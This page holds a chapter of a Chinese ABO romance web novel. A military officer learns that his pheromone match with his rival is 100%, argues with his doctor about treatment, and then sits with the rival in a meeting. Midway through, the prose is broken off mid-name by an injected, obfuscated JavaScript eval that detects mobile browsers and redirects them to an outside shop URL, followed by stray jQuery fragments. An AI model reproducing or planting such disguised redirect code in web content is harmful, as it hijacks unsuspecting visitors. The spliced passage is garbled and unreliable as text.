默认冷灰
24号文字
方正启体

9. 筛选结果

作者:时有幸本书字数:K更新时间:
    消防通道非常昏暗,付溪辞的响动太小,声控灯没被触发,唯有手机亮着,照过他雪白的脸颊。


    这栋大楼不比研究院,几层楼走动的全在同个体系,即便自己不认识别人,大家也绝对喊得出他名字。


    从档案室来到这里,在走廊上被叫住好几次,他看似应对自如,实则有一些吃力,但这会儿是完全被惊住。


    他坐在冰凉的台阶上,凝视那串数字许久,半晌没有任何动静。


    匹配度是两方的吸引力取平均值,Omega对Alpha是一个,Alpha对Omega也是一个,要想达到百分之百,那得是双向都要满分。


    付溪辞明白这个道理,于是更加难以相信,反反复复地看了好几遍。


    很可惜,报告单上标得无比明确,他和梁确就是100%。


    底下有检验师签字,甚至敲了个机构的红章,在结论处写得言简意赅,表示样本经过筛查被判定为高契合。


    付溪辞扫过白纸黑字,脑海却一片空白,内心也陷入茫然。


    待到屏幕自动熄灭,他终于有了反应,想着,一定哪里出了错。


    当然是弄错了,他在心里重复一遍。


    他开始较真地想,数字绝对有问题,不止如此,这个结果不是害人吗?


    付溪辞转而去翻上面的消息,检测中心显然不知道自己和梁确的过节,在对话框里欢天喜地。


    他们一副不辱使命的架势,告知付溪辞有了好消息,顺带拍了一记马屁,能和他配上的果然是同等军衔。


    [少将,这边有符合标准的人选了,我们再核对一遍,联系俞司令和您的主治医生。]


    [没错了没错了,您和梁指挥的信息素可以契合!完全符合条件!]


    [祝您早日康复。]


    先前进展消极,机构如同霜打的茄子,现在终于保住饭碗,一口气发来好几条,字里行间全是喜悦。


    因为这个数字太高,他们也担心有偏差,所以二度测试过,确保没有问题才发来了报告。


    看得出来这份结果让他们大石落地,劫后余生地感慨:[这次稳了!]


    付溪辞心里很冷:“。”


    感觉如此一来,没什么出错的概率,尽管这个结果确实要害两个人。


    他自认性情沉稳,承担能力已经很强,但得知眼前这出,他发现自己接受范围还是有限。


    之后他要和梁确上床吗?付溪辞往下想了想,心里登时有些发毛,觉得这件事万分惊悚。


    且不说自己躺不躺得下去,梁确硬不硬得起来也是一个严峻的问题吧?


    思及此,付溪辞表情空白,不敢继续思考。


    走向对他俩太残酷了,虽然梁确不是什么好货,但他仔细想想,人家也罪不至此。


    这可怎么办?付溪辞给医生打电话,一改顺从治疗的态度。


    “我们没有别的方案?就算是罕见病,难道一点调整空间都没有?”


    “知道,我真的知道它是恶性病,那我不能化疗?或者打靶向针?”


    医生已经知道匹配结果,和机构一起松了口气,普遍而言,契合度越高越有利,对方能更明显地影响到付溪辞,对于失感症来说是好事。


    不料付溪辞总是平静,这时却开始强烈抵触,医生在话筒那端听得一头雾水。


    “提到的这两个对失感症没用,不是所有重病都需要化疗,你的腺体没有肿瘤,它是产生了障碍,这种障碍会扩散到神经系统。”


    医生说着,再道:“请问您是不是对梁指挥有什么负担?”


    “不光是我,他对我也有!”付溪辞甩锅。


    两个人前五分钟还在干仗,现在要他们滚到一起?这辈子很难好好做人了!


    医生学着说官话:“一切全是为了治病,这方面你很了解,梁指挥也肯定能顾全大局,真的不需要有额外看法。”


    付溪辞:“……”


    他压下了绝望,语气硬邦邦地说:“大夫,难道你觉得我是害羞?”


    医生押上了执业资格:“有这种情绪很正常,呃,但标记只是康复的工具,最忌讳患者想得多,我们还是身体最要紧。”


    付溪辞无话可说,早前他就知道这些,按此调整了心态,并以为能够麻木处理。


    然而,当报告摆在他面前,他还是高估了自己。


    为什么会是梁确?撞到这人的概率未免离谱,付溪辞真的不懂,自己和他认识至今,哪里像是信息素能高契合?


    付溪辞脑子里一团乱,想争取一些余地,可医生那边传来交谈,大概是护士询问是否能继续接诊,被回了句暂时没空


    由此,付溪辞勉强腾出注意力,没再与之纠结梁确的话题。


    “我刚才腺体又有感觉,这次不太晕,及时用了止痛贴,谢谢。”他描述。


    医生说:“你的腺体大概在间歇性运转,但是像手脚几年不动一样,它没轻没重在适应。”


    付溪辞思索:“听着是在好转。”


    对此,医生表示认可,再说到前些年有一批紊乱潮。


    受到战乱的威胁,不少人出现过信息素波动,后续缓解的时候,会有一些病例产生抽痛,过段时间便自行消退。


    至于其中的次数和频率,每个人都不一样,不过根据统计,有标记的会更稳定。


    虽说付溪辞的病情不止是紊乱,但这些应该能当做参考,医生解释到这里,忍不住说:“梁指挥最好是尽快。”


    付溪辞闭了闭眼:“我只是腺体在仰卧起坐,没有发情期,离适合标记差得有点多。”


    “二位的匹配度那么高,有事没事多贴一块儿。”医生道。


    他补充:“好比苹果旁边放香蕉,杵一起可以互相催熟,你们的效果应该不会差。”


    付溪辞很想反驳,自己与梁确不是不认识,没见有什么相关影响,杵一起更可能出现打架。


    话到了嘴边,他又咽回去,转而意识到他俩尽管早有交集,却很少处在稳定的环境里,双方的距离也总是生分。


    难道真的能?付溪辞的世界观被动摇。


    可让他找梁确被标记,还不如让他死,付溪辞真的做不出那种事。


    医生见他不吱声,开口安抚道:“别顾虑,百分之一百的匹配度,没几个人能遇到,运气站在你这边,到时候会很顺利。”


    付溪辞暗自摇了摇头,很难说出切实感受,随后他挂断了电话。


    本来他想搜搜看失感症若不治疗,进程大概会多久,但打开输入栏先看到了历史记录。


    前些天,他看过匹配度各区间的科普,网页没写到满分会有什么表现,八十五分以上是什么来着……


    回味,爽。


    付溪辞的回忆里蹦出这三个字,紧接着,他羞愤欲死地关上了手机。


    他没心思再去管,伸手推开通道的防火门,走出去的时候脚步很快。


    梁确的助理在走廊上看到付溪辞,叮嘱:“少将,明天开会啊!”


    对方察觉到付溪辞近来心情差,还油嘴滑舌:“中午十二点准时来,梁指挥恭候您,咱好吃好喝伺候着。”


    付溪


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17301623|198653||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    辞微微颔首以示知道,心里哼了一声,这里还能有什么好事?


    他只希望梁确骨头硬点,守住做Alpha的底线,省得他俩隔天扒光在床上。


    “啧。”付溪辞深呼吸,发现自己被干扰得厉害,怎么想着想着就要往下流的方向去?


    他试图抛开这些乱七八糟的念头,遗憾的是其他人没放过自己,当晚,他还接到俞世畅的电话。


    “我也想不到是他。”俞世畅开门见山,对结果深感震惊。


    总算有个明白人,付溪辞叹气:“是啊,要不再找找?”


    俞世畅说:“本来这事儿就难,你又不能拖,继续让人查的意义也不大,想来你知道之前的成功率。”


    付溪辞很难接话,干脆转移矛盾:“梁确不肯的话怎么办?您说,他能愿意?”


    尽管他的身份关系重大,能够让军方动用所有资源,医院和检测中心也可以无条件配合,可梁确能顺从吗?


    对方背景深厚,同样牵扯到太多利益,如果表现出了抗拒,有谁能让他低头么?


    没有,付溪辞很笃定这个答案,除此之外,梁确有一万个拒绝的办法。


    准确来说,是压根没可能答应。


    犯不着梳理更深度的层面,单单说一桩,付溪辞回来是处在风口浪尖,功劳太大,舆论也太多,明里暗里有不少眼睛盯着。


    反观梁确近来有意收敛,和他捆着能有什么好处?


    俞世畅道:“总之先谈谈,我可以去说,小梁的嘴巴很严,也没其他不放心的地方。”


    付溪辞心如明镜,事情没那么简单。


    别的合作倒是好说,一纸命令下去,捏着鼻子也能做,但这件事的性质到底不同。


    让俞世畅出面,多少有点虐待领导,人家好不容易熬出头,还要为小辈拉这种线,付溪辞想到这里很懊恼。


    “我自己来吧。”他开口,“您给我点时间,我明天正好和梁确见面。”


    付溪辞从未这么悲壮过,说来梁确长得高大又英气,从外观条件上筛选,军区内很难有更出挑的答案。


    而他讨厌这位帅哥,以往还没那么排斥,那张报告单扭转了一切。


    第二天,付溪辞嘴上说要主动沟通,实际上远远瞧见对方,整个人就忍不住往反方向去。


    周围的人流很多,他自认为行踪隐蔽,然而梁确眼尖地喊住他。


    “会议室在这边!”梁确发誓要和付溪辞保持距离,但看这人迷路了也没辙,好心地提供了指引。


    付溪辞没有任何要回报的意思,仿佛机器人收到报错指令,颇为僵硬地朝这边走。


    梁确瞧着他:“你的面色不太好,昨天失眠了么?”


    付溪辞目光游离,含糊地说:“还行。”


    这会儿在对方面前,他满脑子是彼此的匹配度,很难直视这个Alpha,以至于没什么安全感。


    从而付溪辞状态飘忽,仿佛开了挂机跟随模式,跟着梁确晃进了会议室。


    对方拧开水瓶,他也拧开水瓶,对方放下笔记本,他也放下笔记本,对方环顾四周往前坐,他便追着游荡过去……


    梁确发现了他的异常,最开始没有插手,直到后面自己难以无视。


    他倒是尊重对方意见:“付溪辞,这也要一起?”


    被连名带姓地称呼,付溪辞的意识还有些发蒙,率先条件反射般地戒备道:“干嘛,不行吗?这里是你的地盘?”


    “行不行的可能看你。”梁确状似客气地招待,“这排只有一把椅子,你蹭过来就坐我腿上了。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)